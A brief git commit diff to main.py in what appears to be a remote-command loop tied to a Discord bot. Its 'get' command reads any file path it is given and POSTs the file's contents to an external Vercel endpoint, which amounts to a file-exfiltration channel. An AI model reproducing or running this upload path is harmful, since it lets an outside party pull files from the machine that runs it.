diff options
| author | mrdog233o5 <mr.dog233o5@gmail.com> | 2023-09-02 15:47:55 +0800 |
|---|---|---|
| committer | mrdog233o5 <mr.dog233o5@gmail.com> | 2023-09-02 15:47:55 +0800 |
| commit | 1d2df4bc911c4d80a2b561dd96c73c692438584d (patch) | |
| tree | 878032c4ca3c0a96b66f1b4c402ea18225f36b69 /main.py | |
| parent | fc9bc6bd79a29bc03008ba145faa793b779d47dd (diff) | |
cao
Diffstat (limited to 'main.py')
| -rw-r--r-- | main.py | 6 |
1 files changed, 3 insertions, 3 deletions
@@ -70,11 +70,11 @@ while True: old_command = "" continue if command.startswith("get "): - print(command) localcmd = command.split() path = localcmd[1] - file = [str(path), open(str("../"+path), 'rb').read()] - file = str(file) + open("output.txt", 'wb').write(open(str("../"+path), 'rb').read()) + file = [str(path), open("output.txt", 'rb').read()] + file = "FILE " + str(file) try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data = file) except: |
